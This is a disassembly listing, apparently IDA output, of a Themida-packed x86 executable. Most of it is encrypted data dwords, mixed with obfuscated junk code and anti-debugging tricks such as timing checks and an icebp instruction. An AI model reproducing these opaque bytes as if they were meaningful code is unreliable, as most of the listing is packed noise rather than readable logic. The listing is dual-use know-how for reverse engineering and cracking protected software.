dd 62BA0000h, 50EB0058h, 858D00A3h, 613ADEFh, 11D59D33h
dd 85890610h, 613AF2Fh, 11F19529h, 85C60610h, 61023E5h
dd 0F2815254h, 5CE29294h, 0F6A16859h, 0FA8BDA0Fh, 88243481h
dd 8B346D9Eh, 100CA9B5h, 45B5FF06h, 8B06101Dh, 10096595h
dd 7DBD2B06h, 8D061005h, 13858A85h, 85896006h, 6100845h
dd 8F0F53h, 59000000h, 14E961h, 5C1C0000h, 0CF4B4863h
dd 87D89017h, 5A7E10F6h, 0C70C6F1Dh, 0D0FFE003h, 6810Fh
dd 0B5030000h, 61005D9h, 0AF338589h, 958B0613h, 6102F29h
dd 44E9h, 559D8B00h
; ---------------------------------------------------------------------------
sbb edx, [eax]
push es
loc_586443: ; DATA XREF: Themida_:0054BCA0o
; Themida_:0054C1A0o ...
push esi
mov esi, [ebp+613AF2Fh]
mov [esi], eax
add dword ptr [ebp+613AF2Fh], 4
pop esi
retn
; ---------------------------------------------------------------------------
pusha
lea esi, [ebp+613ADEFh]
jmp short loc_58646D
; ---------------------------------------------------------------------------
loc_58645E: ; CODE XREF: Themida_:00586470j
push esi
push 0
push dword ptr [esi]
call dword ptr [ebp+613AF33h]
pop esi
add esi, 4
loc_58646D: ; CODE XREF: Themida_:0058645Cj
cmp dword ptr [esi], 0
jnz short loc_58645E
popa
retn
; ---------------------------------------------------------------------------
jmp loc_586481
; ---------------------------------------------------------------------------
db 0AFh, 0Ah, 93h
; ---------------------------------------------------------------------------
sub eax, 209F7F4h
loc_586481: ; CODE XREF: Themida_:00586474j
lea eax, [ebp+613AFEAh]
jnp loc_586499
jns loc_586499
mov edi, [ebp+6102E95h]
loc_586499: ; CODE XREF: Themida_:00586487j
; Themida_:0058648Dj
mov [ebp+6102AD1h], eax
jmp short loc_5864F0
; ---------------------------------------------------------------------------
db 8Fh, 1Ch, 25h
dd 0A108ABFAh, 0A4ACDAC6h, 5CD2D41Ch, 0CE00E45Ch, 1BF53134h
dd 29B327CEh, 0DD5B34D1h, 17E62AC7h, 34DF1BCEh, 0A6DB67h
dd 475D2Fh, 0D5A3EA1Ah, 0
dd 0FEC4199Ch, 0FE440000h, 0FBh, 52DDB487h, 9ED92023h
dd 77E7339Ch
; ---------------------------------------------------------------------------
loc_5864F0: ; CODE XREF: Themida_:0058649Fj
jmp loc_587619
; ---------------------------------------------------------------------------
push 0
push edx
call sub_586500
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_586500 proc near ; CODE XREF: Themida_:005864F8p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 18h
inc edx
push edx
retn
sub_586500 endp
; ---------------------------------------------------------------------------
dd 966262B6h, 9BD8322h, 61022h, 30850Fh, 0BE90000h, 0B8000000h
dd 0EF84C81h, 5C2AC205h, 0B88931h, 89000000h, 102941B5h
dd 41BD0306h, 0C2061031h, 9D010004h, 61008DDh, 1EA58589h
dd 0C08B0610h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 14h, 23C35343h, 335D8D8Bh, 95290610h, 6102945h, 158DBD83h
dd 75000610h, 95BD8309h, 61000h, 53501374h, 0D0B8C08Bh
dd 8D000004h, 12B5E99Dh, 5BD3FF06h, 95BD8358h, 61000h
dd 53501174h, 4D0B8h, 369D8D00h, 0FF0612B5h, 6A585BD3h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h
dd 46000000h, 0E3BBC356h, 0FF98B66h, 0C08BFABFh, 23C78166h
dd 6E81Ah
db 2 dup(0)
word_5865EA dw 3BD5h ; DATA XREF: Themida_:0054E578o
dd 0B0E79F40h, 8F0Fh, 8D590000h, 13B07985h, 0D78B6606h
dd 310D8D89h, 8B900610h, 0E86050F8h, 0Fh, 5D012DCEh, 0DFE0AD7Dh
dd 0D45533BCh, 0BE5428CBh, 7F48EF00h, 61F28B5Ah, 56006A90h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
dd 858D3FA6h, 613B036h, 2820Fh, 0C0B10000h, 0D38B6650h
dd 6A240489h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1B042444h, 41000000h, 0CC7BC351h, 0F2442EE4h, 0F680C681h
dd 7995FF91h, 6A061009h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1A042444h, 46000000h, 581AC356h, 0F281665Eh
dd 0C9D5809Ch, 26E98166h, 24448B5Dh, 0B1DE8004h, 0B0618589h
dd 6A0613h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
dd 57470000h, 0AF41D4C3h, 0F9FDD58h, 448BFBBFh, 0BD2B0824h
dd 6102935h, 16A19D89h, 85890610h, 613B075h, 75BD83F8h
dd 61007h, 0C1850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 160424h, 55450000h, 0FE9AB1C3h, 23E585C6h
dd 0E8470610h, 4, 0D49AA7D2h, 7C44BF50h, 448B1E90h, 89B50424h
dd 4489008Bh, 0BF660424h, 6A58BAA0h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0F52C355h
dd 958BFFBFh, 61010D5h, 1D45B5FFh, 8B660610h, 8A858DD7h
dd 60061385h, 0CE9h, 0F7805200h, 0B9928945h, 90C5CA93h
dd 8D9D09C6h, 6106101Bh, 958BD0FFh, 6100B39h, 7758589h
dd 6A0610h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
dd 50400000h, 0B80A32C3h, 837A4B55h, 100D85BDh, 850F0006h
dd 0DBh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 19h, 98C35141h, 0CCA68A0h, 8E9D0h, 6EF70000h, 23A468Dh
dd 0DA815A64h, 6EF074E2h, 23E585C6h, 8A470610h, 61BD8BD3h
dd 6806101Bh, 0EACDBA0h, 42240481h, 8B7B62DAh, 45B5FFCAh
dd 6A06101Dh, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1C042444h, 46000000h, 36BBC356h, 6AC3A376h, 2976B6CAh
dd 10201595h, 8A858D06h, 0E8061385h, 11h, 66A12667h, 7DB727D2h
dd 0F314708Fh, 0C58010D8h, 5964B61Eh, 95B9BA66h, 8589D0FFh
dd 61006F5h, 0D858589h, 6A0610h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1B0424h, 53430000h, 1C25F4C3h, 0D2A429F2h
dd 458529EDh, 83061008h, 102FB5BDh, 850F0006h, 9Ch, 0C6FE8B66h
dd 1023E585h, 85895606h, 61022B5h, 0E212E068h, 0AE997h
dd 0DBB50000h, 1FB96EDh, 0BB82CDE3h, 0D9243481h, 8943FD7Fh
dd 1018F995h, 45B5FF06h, 6A06101Dh, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0F3CFC351h
dd 28A0Fh, 0CCB20000h, 858A858Dh, 9D890613h, 6100EE5h
dd 0B70FD0FFh, 0B58589D1h, 6A06102Fh, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 4E70C351h
dd 7EBF6664h, 958B3A0Fh, 6102EA1h, 23E585C6h, 6A6C0610h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h
dd 42000000h, 0D35FC352h, 1CD0EAC8h, 8A0FDECFh, 0Fh, 0AE9h
dd 0D9593F00h, 8FEB96DDh, 0E86EF41Eh, 4, 0DB057083h, 0FE8h
dd 60D79900h, 3268F8D6h, 1592ADE7h, 2EF20BD4h, 14E95250h
dd 98000000h, 3BF84F84h, 0D7593545h, 80902F20h, 6A482C45h
dd 0FD4FC01h, 0A80EBF31h, 585A40C0h, 800F505Fh, 4, 697CB966h
dd 424448Bh, 0B557008Bh, 44895FACh, 7ABF0424h, 581F3CC2h
dd 50F7BBFh, 99B5FF37h, 6A061014h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0DA0EC351h
dd 5E9h, 2C82E400h, 858D9CFFh, 6103A32h, 0E855006Ah, 3
dd 5DC35D20h, 4246C89h, 4244481h, 1Dh, 4EC35545h, 64C14829h
dd 6047B113h, 1D952366h, 0FF061002h, 52006AD0h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 0B4B201A7h
dd 0B0658589h, 0EE90613h, 8000000h, 8DDE43F6h, 884117B6h
dd 0D66D7201h, 81BD83E3h, 613B0h, 8A850Fh, 6A0000h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
dd 0EEDF42C3h, 23E585C6h, 6A490610h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 3ACC357h
dd 0DD70CEF7h, 8B661EE7h, 364568D1h, 0B966F69Ch, 34818A11h
dd 891FAC24h, 99B5FF7Ah, 0F061014h, 68Fh, 1DBD0100h, 8D061022h
dd 103A3285h, 0FD0FF06h, 686h, 51BD0100h, 89061020h, 13B08185h
dd 0D2B70F06h, 6A046Ah, 3E850h, 58200000h, 448958C3h, 44810424h
dd 160424h, 50400000h, 153435C3h, 22F78166h, 0DDA86816h
dd 9E98F1Ah, 66000000h, 0D5470CEFh, 54019261h, 58240481h
dd 2970E532h, 103071B5h, 6D8D0106h, 0E8061010h, 4, 10000h
dd 8B525060h, 0B5310FD0h, 50585A58h, 0FC38B52h, 5AF08B31h
dd 50506158h, 0FA8B6652h, 8B66310Fh, 8B585AFBh, 0E8042444h
dd 11h, 2E2BD4F5h, 368D5EA1h, 79F1D2C0h, 0D58DF758h, 0CE8B661Fh
dd 0F008B59h, 118Fh, 9E800h, 590E0000h, 1AE799BAh, 53FEE225h
dd 44895A5Ah, 66510424h, 5A4BE2B9h, 6AF558h, 0C519529h
dd 95FF0610h, 6101F01h, 89F88B66h, 13B07185h, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
dd 0C1E7669Ch, 8B95E409h, 10015D95h, 8D8B5006h, 61007A9h
dd 6985C75Fh, 613B0h, 33000000h, 101DE9BDh, 89006A06h
dd 10236995h, 0CB706806h, 5B53BA8h, 70243481h, 0F93BA9CBh
dd 8931B550h, 9D292404h, 6100051h, 6A0B6Ah, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 586CADC3h
dd 0CE4D0EB0h, 314E830Eh, 101BB585h, 12E906h, 0C4C80000h
dd 7ED6FE16h, 0CD14CAC0h, 29BEB81Dh, 0DDDFC758h, 0B03E858Dh
dd 880F0613h, 6, 8ABC281h, 17B94223h, 5073EAF4h, 6E8h
dd 0F6D50A00h, 0F4BF756h, 288h, 5F5F5700h, 81240489h, 7B6DB7E7h
dd 7595FF0Dh, 6A061007h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1D042444h, 40000000h, 69ACC350h, 0A690E586h
dd 69CD28FAh, 12E8h, 77FDA500h, 4E005C4Bh, 2F018F74h, 598889ABh
dd 0E9304FACh, 11h, 2B775DC3h, 0F75BA6A3h, 57FC4A36h, 1525DF5Fh
dd 0B58D5F0Dh, 613B048h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Ch, 0A5C35141h, 6DCA2BC0h, 0C13D989Eh, 48B0Fh
dd 0BF660000h, 0BF50010Fh, 6B026B4Bh, 8B243489h, 1020B9BDh
dd 60605006h, 310F5250h, 11E9585Ah, 8A000000h, 859856C1h
dd 0E0AF595Dh, 0B7B84CC1h, 510DD204h, 0F525061h, 8Dh, 5A310F00h
dd 4896158h, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1704h, 0C3554500h, 4DA9BA09h, 11A18D8Bh, 95FF0610h
dd 6100D85h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Dh, 0F1C35343h
dd 456AE418h, 0D1503E8Eh, 0AD8D8B1Bh, 0B06100Dh, 21850FC0h
dd 0B9000000h, 6A948D78h, 612E9h, 7E800h, 0C73B0000h, 31E0BF48h
dd 35BB60C5h, 0F4DE36Dh, 5F61CFBFh, 6AD0FFh, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 180424h, 51410000h, 0A108DAC3h
dd 8D098F30h, 6101AC5h, 0B071B58Bh, 0BD8B0613h, 610109Dh
dd 0E920468Dh, 6, 3709F23Ch, 46AB0CEh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Ch, 50C35242h, 0A9E6E883h, 57F987A1h
dd 239BD8Bh, 60900610h, 78A1B960h, 5B5018DDh, 8B525061h
dd 60310FC8h, 61585A61h, 0AE95050h, 7000000h, 536E654Fh
dd 8C72A618h, 0E9905A2Ah, 0Dh, 0CF058D27h, 4CDCADA1h, 55A33045h
dd 8195FF04h, 0F80613B0h, 840FC00Bh, 14h, 12818D8Bh, 8B660610h
dd 535E9C8h, 95890000h, 610200Dh, 207E80h, 525840Fh, 0F7810000h
dd 49F100B0h, 57006A60h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1C04h, 0C3574700h, 0D8E0D0DEh, 0D5383C77h, 718D331Ch
dd 8D06102Eh, 85892046h, 613B06Dh, 1C258D89h, 13E90610h
dd 40000001h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Dh, 35C35141h, 73485BA1h, 0DE9829FEh, 810F5074h, 2
dd 489FA8Bh, 75B52924h, 8906100Dh, 103069B5h, 8B046A06h
dd 100901BDh, 91BF5006h, 8904C8B9h, 6A2404h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0C73172C3h
dd 0C08A452Eh, 0D18B66E6h, 0B08195FFh, 0E7810613h, 3D33903Dh
dd 6AD88Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
dd 50400000h, 35B1BBC3h, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1C04h, 0C3524200h, 8CE0C462h, 0DD55F2B0h
dd 0AE9BAh, 0B4470000h, 908EFF8Eh, 5F710269h, 0BC9B70Fh
dd 33840FDBh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1C042444h, 46000000h, 5C3C356h, 4EBBAC65h
dd 334B9BDh, 100649BDh, 3D1E906h, 0BA660000h, 3880D0E2h
dd 0E4850F00h, 6AFFFFFEh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 18042444h, 42000000h, 3AF4C352h, 66F13338h
dd 0E92ED2BAh, 7, 6D8D8948h, 3B06100Fh, 13B06D85h, 61820F06h
dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 18042444h, 41000000h, 5A77C351h, 0F1A5F6Ch, 0BD8BFEB7h
dd 6101675h, 0F5C3880h, 2F84h, 0CBBF0F00h, 0F2F3880h, 0FFFFAF85h
dd 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h
dd 0C3554500h, 0BD89F9CDh, 61007F5h, 83D18B40h, 13B075BDh
dd 840F0006h, 19Ch, 2AD5BD2Bh, 0F500610h, 584h, 22A6BA00h
dd 48979A4h, 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1C04h, 0C3504000h, 0DFDAC3D3h, 560A58F6h, 51F98BD3h
dd 998D8Bh, 35A0610h, 13B07585h, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 96673CD4h
dd 0AE2D7DDDh, 218D3362h, 5006101Eh, 7E852h, 0C34C0000h
dd 918C6F9Dh, 7E936h, 72AB0000h, 0E35EDFh, 89595FCFh, 6A2404h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
dd 1F686C3h, 6AFE8B66h, 56006A04h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1C04h, 0C3564600h, 33D047E1h, 7478B4A9h
dd 19958901h, 8B061016h, 102D458Dh, 0D58A9006h, 0DE809050h
dd 8195FF33h, 0B0613B0h, 102E81BDh, 2BD88B06h, 10099195h
dd 9D895806h, 6102055h, 29358D8Bh, 0DB0B0610h, 23840Fh
dd 0F500000h, 48Fh, 0E4BF6600h, 0F0E9594Ch, 0F000001h
dd 686h, 0E59D8900h, 9061010h, 100509BDh, 0C606h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 18h, 90C35040h, 8A94379Fh
dd 6A58CA8Bh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 18042444h, 42000000h, 0B55CC352h, 0E919763Ch, 0Bh, 0DFB8A45Fh
dd 57BD7484h, 60096656h, 31618509h, 8B660610h, 0EF8A61D8h
dd 0D08B6650h, 66240489h, 1E6AD18Bh, 2D85BD8Bh, 50900610h
dd 60525052h, 0BF310F61h, 7CE1F04Ch, 310F585Ah, 8E951h
dd 684B0000h, 0DAAB4ACFh, 5A5F9FF7h, 0EE85058h, 0B7000000h
dd 0A4F6C3CFh, 5BD874A1h, 9F1C80F1h, 59FA8BE3h, 0FFCB8B90h
dd 13B08195h, 0D88BF806h, 0A18D2358h, 0B06100Eh, 10840FDBh
dd 66000000h, 7AD7E981h, 10AE9h, 55B58900h, 50061010h
dd 310F5250h, 585AD08Bh, 0E8240489h, 0Ah, 37136261h, 0DF7B52A8h
dd 0E96046E1h, 6, 0FD06FFD6h, 95315A5Ah, 6101B35h, 0B5FF5961h
dd 613B061h, 7D9D8960h, 0B4061022h, 95FF619Ch, 613B065h
dd 1561958Bh, 0C00B0610h, 99850Fh, 9D310000h, 6100691h
dd 51006A61h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h
dd 0C3514100h, 0EB14288Bh, 0C5858960h, 0B6061022h, 958B615Dh
dd 61004D5h, 0B06985C7h, 10613h, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 150424h, 53430000h, 66CC55C3h
dd 9B21C981h, 4AE9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1B04h, 0C3574700h, 755FCDEEh, 26FCABD4h
dd 6E9h, 44F57C00h, 66B8DD33h, 61B6A0BAh, 81FA8B66h, 11CC6h
dd 0C9B70F00h, 0FFFA3FE9h, 0E98D8BFFh, 0E806102Ah, 4, 8000h
dd 47BA5160h, 5911FF93h, 506188B7h, 448BD08Bh, 8B660424h
dd 60008BD3h, 9655AFBFh, 2820F3Ch, 0B5000000h, 44896153h
dd 830F0424h, 2, 6A589BB1h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 15042444h, 45000000h, 110CC355h, 0F1FF280h
dd 6AF8B7h, 41A3BF66h, 0B071B5FFh, 810F0613h, 4, 160BB966h
dd 2FB595FFh, 6A0610h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1D0424h, 50400000h, 0EFB1ABC3h, 71D3B6E1h, 666F513Eh
dd 8B35CBBAh, 13B06985h, 90B4B106h, 0E950D18Ah, 10h, 31CDE04Bh
dd 2F1A9188h, 0B682D6AAh, 0BEEFC83Eh, 0C9953390h, 8D061030h
dd 13B07985h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1504h, 0C3564600h, 8B66F35Eh, 11E890CAh, 58000000h
dd 0C891E620h, 7438F5E8h, 0F82DCF41h, 0B9C6DD09h, 5FD68B66h
dd 9FB59050h, 0B036858Dh, 8D890613h, 61015EDh, 901BD33h
dd 8B900610h, 1CB550F8h, 95FFFC90h, 6101E99h, 0B458D8Bh
dd 8B660610h, 0FC08BF9h, 0BD83CAB7h, 610158Dh, 83097500h
dd 100095BDh, 13740006h, 0C08B5350h, 4D0B8h, 509D8D00h
dd 0FF0612B6h, 83585BD3h, 100095BDh, 11740006h, 0D0B85350h
dd 8D000004h, 12B54F9Dh, 5BD3FF06h, 14E858h
db 2 dup(0)
word_5875A2 dw 8F88h ; DATA XREF: Themida_:0054B4ECo
dd 755E19D5h, 1545DB8Dh, 4B3B962Dh, 0A01B9070h, 0BD0B1A15h
dd 61014E5h, 52006A5Fh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1804h, 0C3524200h, 0B2974AF3h, 13E9BAh, 6DB30000h, 1648A8EDh
dd 0F9E22E1Ah, 48B38B64h, 0DD93BABBh, 66C08B58h, 0ACA6D181h
dd 961BA58h, 8B600D82h, 1013F9B5h, 0E7EB8106h, 617DA6F8h
dd 310008C2h, 102ABDB5h
; ---------------------------------------------------------------------------
push es
loc_587619: ; CODE XREF: Themida_:loc_5864F0j
mov eax, eax
push 0
push ebx
call sub_587626
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_587626 proc near ; CODE XREF: Themida_:0058761Ep
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 14h
inc ebx
push ebx
retn
sub_587626 endp
; ---------------------------------------------------------------------------
adc cl, [ebp+13B0AA85h]
push es
jmp loc_587647
; ---------------------------------------------------------------------------
dw 669Bh
db 64h, 3Eh, 0EEh
; ---------------------------------------------------------------------------
loc_587647: ; CODE XREF: Themida_:0058763Dj
mov [ebp+61005ADh], eax
jmp loc_5876C7
; ---------------------------------------------------------------------------
pusha
mov ax, ds
test al, 4
jz loc_587693
push 1
push dword ptr [ebp+6101499h]
lea eax, [ebp+613858Ah]
call eax
mov [ebp+6101F35h], eax
mov edi, esi
shr edi, 0Ch
push 20040000h
push 0
push 2
push edi
push 1000Dh
call dword ptr [ebp+6101F35h]
jmp loc_5876C5
; ---------------------------------------------------------------------------
loc_587693: ; CODE XREF: Themida_:00587658j
mov byte ptr [ebp+61023E5h], 56h
push 0A9C530DFh
push dword ptr [ebp+6101D45h]
lea eax, [ebp+613858Ah]
call eax
mov [ebp+6101261h], eax
lea eax, [ebp+6101DADh]
push eax
push 20h
push 5
push esi
call dword ptr [ebp+6101261h]
loc_5876C5: ; CODE XREF: Themida_:0058768Ej
popa
retn
; ---------------------------------------------------------------------------
loc_5876C7: ; CODE XREF: Themida_:0058764Dj
shl eax, 6
jmp short loc_587705
; ---------------------------------------------------------------------------
dd 0C30000h, 0C302CCh, 0C302E4h, 0
dd 4A46F801h, 7B5FF4FDh, 2F4EFC34h, 4245F8D9h, 434FBF3Ah
dd 7B6591C7h, 2F67DD91h
dword_5876F8 dd 5F64E5A4h, 477FFF10h, 4B4AF4C8h ; DATA XREF: Themida_:0054D0CCo
; Themida_:0054E198o
; ---------------------------------------------------------------------------
pop ebp
loc_587705: ; CODE XREF: Themida_:005876CAj
icebp
inc ecx
das
clc
jns short loc_587733
das
push edi
xchg eax, ecx
or esi, [ecx+68h] ; CODE XREF: Themida_:0058777Cj
iret
; ---------------------------------------------------------------------------
dw 5BA2h
dd 6BAA95F1h, 2F3F95CEh, 796D9175h
db 79h
byte_587721 db 2, 0A0h, 9Ah ; DATA XREF: Themida_:0054CB7Co
dd 293B97E0h, 2F415125h, 2F287904h
db 0ABh, 91h, 0Bh
; ---------------------------------------------------------------------------
loc_587733: ; CODE XREF: Themida_:00587709j
jz short loc_58774B
retf 73A2h
; ---------------------------------------------------------------------------
dd 6BAA95CEh, 2F3C9551h, 7C6891BAh, 787FCA9Eh
db 49h, 0F7h, 0A0h
; ---------------------------------------------------------------------------
loc_58774B: ; CODE XREF: Themida_:loc_587733j
in eax, 0D4h
sub al, 0A6h
cmp bh, [ebx-23A5D469h]
adc dl, [esi+2D81EABAh]
das
add [eax+51317C7Bh], ecx
xchg eax, ebx
xchg eax, esi
pop ecx
xchg eax, ecx
sub esp, [esi+3F25F42Bh]
push ecx
sbb al, 0B6h
cmp dl, [ebx]
sub dword ptr ds:73CA06D0h, 0FFFFFFACh
push edi
add al, 2Bh
aas
jnb short near ptr loc_58770E+1
pop edi
cmp dl, ch
retn 9693h
; ---------------------------------------------------------------------------
dd 0A62B9159h, 3F25F42Bh, 2BB61C51h, 0D02D831Eh, 4F73CA06h
dd 0AE4DC8BDh, 4E44E5A5h, 0C77C91D0h, 2F2B915Eh, 70E8CE8Eh
dd 2B0FEDDEh, 2B0FD52Ah, 2F2B91C0h, 4FE8C6ADh, 0ED94F707h
dd 45EB1AA8h, 2CC3C45Dh, 0F2B91AEh, 0A676520Ah, 0AE2FB5C7h
dd 352FB591h, 6A2B91EAh, 0DE7D5220h, 0CFA4FC8Fh, 66BE9ABCh
dd 0E92D818Fh, 3F0874D2h, 7F78C7ADh, 61712EB3h, 2BC3CFB3h
dd 7D2B9175h, 20B73902h, 2F2B9BD9h, 964DF1AEh, 944DB7E6h
dd 7F4AA1D3h, 0CFF2F82h, 0A474E5DBh, 492FB531h, 0A4C0B805h
dd 0E4A0F75Dh, 2B0FD527h, 5D1CE7E9h, 0E0A1C9FDh, 326E242Ah
dd 3DC297FAh, 2E2B9175h, 0D3FF5977h, 2979C4E4h, 9446604h
dd 39A70F6Eh, 0F696BAFDh, 0A22D81C7h, 3CAE1B6Fh, 9824C773h
dd 9024CB4Ch, 0A4FB6E95h, 3F26C813h, 0AE2FFB51h, 0F9406475h
dd 9C1DF9E1h, 0A44D92E5h, 0B1F1086h, 2C24328Ch, 0C7799137h
dd 2F2B91ADh, 75E8CB77h, 2B0FC522h, 2B0FD554h, 2F2B91F3h
dd 0EDE8C337h, 0FFFAA608h, 1E0F900h, 0A44DF8BBh, 0B1F10A9h
dd 463EBD8Ch, 0C77A91BFh, 2F2B91E9h, 76E8C855h, 2B0FDD33h
dd 2B0FD5DCh, 2F2B91B2h, 66E8C016h, 6BAE0823h, 918FC416h
dd 0CDAA9180h, 77DEF5DBh, 914D4145h, 0AAA2E3C0h, 293853CFh
dd 0C779913Dh, 2F2B91A8h, 75E8CBF5h, 2B0FC563h, 2B0FD5F4h
dd 2F2B91A6h, 0F9E8C31Fh, 0E4A870BCh, 459779DEh, 2F2B9E43h
dd 671D94D5h, 951FF5AEh, 75C2F7C3h, 0E228B394h, 7E93BEE3h
dd 3EC2CE97h, 412B9157h, 5997659Fh, 40437A4Ch, 1A7A70Bh
dd 6D90E1C9h, 0E32E6931h, 0A62B915Fh, 3CE9F42Bh, 37EB1251h
dd 0ED421422h, 0EF1897C6h, 2F297D53h, 95816275h, 678795B6h
dd 2F2B99B4h, 0CFA1F4AEh, 2A118A45h, 92A2F1DDh, 293B8F54h
dd 0AAEDF016h, 293BB290h, 792BFBF9h, 2F2B92B5h, 0EC75B1AEh
dd 0B5F1809h, 0B6F10AFh, 2F2B85D1h, 0EC7DD7EAh, 2F277826h
dd 229C91BAh, 0A3E9CE39h, 5A184DB4h, 0E5A01817h, 2F2B9543h
dd 4840CFD5h, 2FAE9E76h, 7F2B9175h, 0CBADD404h, 0B6F1A3Ah
dd 2F3F78AAh, 78B09157h, 3DC9205Fh, 0A312C5C0h, 0CE128D1h
dd 80CFEA74h, 2FA038BFh, 43052E3Bh, 2B0FD527h, 3EC3C307h
db 0ABh, 91h, 2Bh
byte_5879F3 db 1Dh ; DATA XREF: Themida_:0054E1A8o
dd 9E02B96h, 8CD3B627h, 0F89F2F68h, 1D3E192Fh, 2F2B1752h
dd 207291AEh, 75D11A66h, 2F41C9F3h, 2F287982h, 700B91EAh
dd 53A2CEB6h, 6BAA959Eh, 2F369579h, 786C91AEh, 68B47194h
dd 3D2AB925h, 26D7F667h, 3F06AC67h, 6A9E6E73h, 202D81A7h
dd 2F2B9ADBh, 2AAB9EAEh, 912B9157h, 101F1956h, 2F2B943Ch
dd 228689EAh, 0AAA60DA7h, 29381430h, 0A2A0C1A5h, 293B80AFh
dd 45FB6E08h, 2CC3C7ABh, 0F2B91D5h, 0A67552B4h, 0AE2FB501h
dd 372FB5FEh, 692B915Dh, 0FF1F52F8h, 4F0B90B1h, 0CBE0C20h
dd 902497C5h, 0D1A0F024h, 0E4E14FCh, 0BA0297AAh, 293BBB18h
dd 9C21423h, 2F419747h, 2F2879FBh, 770B91D5h, 6BA2C929h
dd 6BAA9551h, 2F3E959Eh, 7F6B915Dh, 0A4DBEB6Dh, 3F08F8E2h
dd 5AA618ADh, 0A62D81C7h, 3F36886Fh, 56961A73h, 0E92D819Dh
dd 3F0874D8h, 9AA2C2A8h, 293B8212h, 2F2B9543h, 9E6349D5h
dd 7594F716h, 6BA0C1B5h, 964D959Eh, 2FA024B9h, 860C8517h
dd 0B6F1866h, 0DFA0F7AFh, 7E2BFB8Dh, 2F2B9202h, 0EC72B175h
dd 0B6718E3h, 0B6F1059h, 2F2B8AAAh, 0EC7AD057h, 57FD7105h
dd 95194E3h, 2F2B9802h, 619C7375h, 1AEDF0FBh, 0BAA2B341h
dd 293B842Fh, 0D0D01A0Dh, 3F36D41Eh, 29A69ED3h, 1C2B91EAh
dd 3F23B8C8h, 0A5AE1CBCh, 452D82D8h, 2CC3C7AEh, 0F2B9157h
dd 0A67552F5h, 0AE2FB5A1h, 342FB5AEh, 692B9175h, 81F852ECh
dd 0D230FAB5h, 0D0D7D0F3h, 792BFB87h, 2F2B9243h, 0EC75B1D5h
dd 0B5F18B4h, 0B6F1071h, 2F2B84BEh, 0EC7DD75Dh, 0D0948D79h
dd 0AE4808A2h, 2BA7E845h, 0E6AE18DFh, 452D81DBh, 2CC3C475h
dd 0F2B91BAh, 0A6765200h, 0AE2FB5C2h, 382FB513h, 6A2B91ABh
dd 5FB45280h, 9202766Eh, 293BA3FCh, 0CCE147Ch, 4578974Dh
dd 2CC3C2AEh, 0F2B9157h, 0A67052F0h, 0AE2FB589h, 342FB5AEh
dd 6C2B9175h, 948B52E9h, 819912CFh, 27C24797h, 9B2B9157h
dd 0AC639AF1h, 476D0AF5h, 86317C37h, 1BAAD7C7h, 2D02FF9Eh
dd 7E2BFB2Ch, 2F2B9246h, 0EC72B157h, 0B6718F2h, 0B6F10D1h
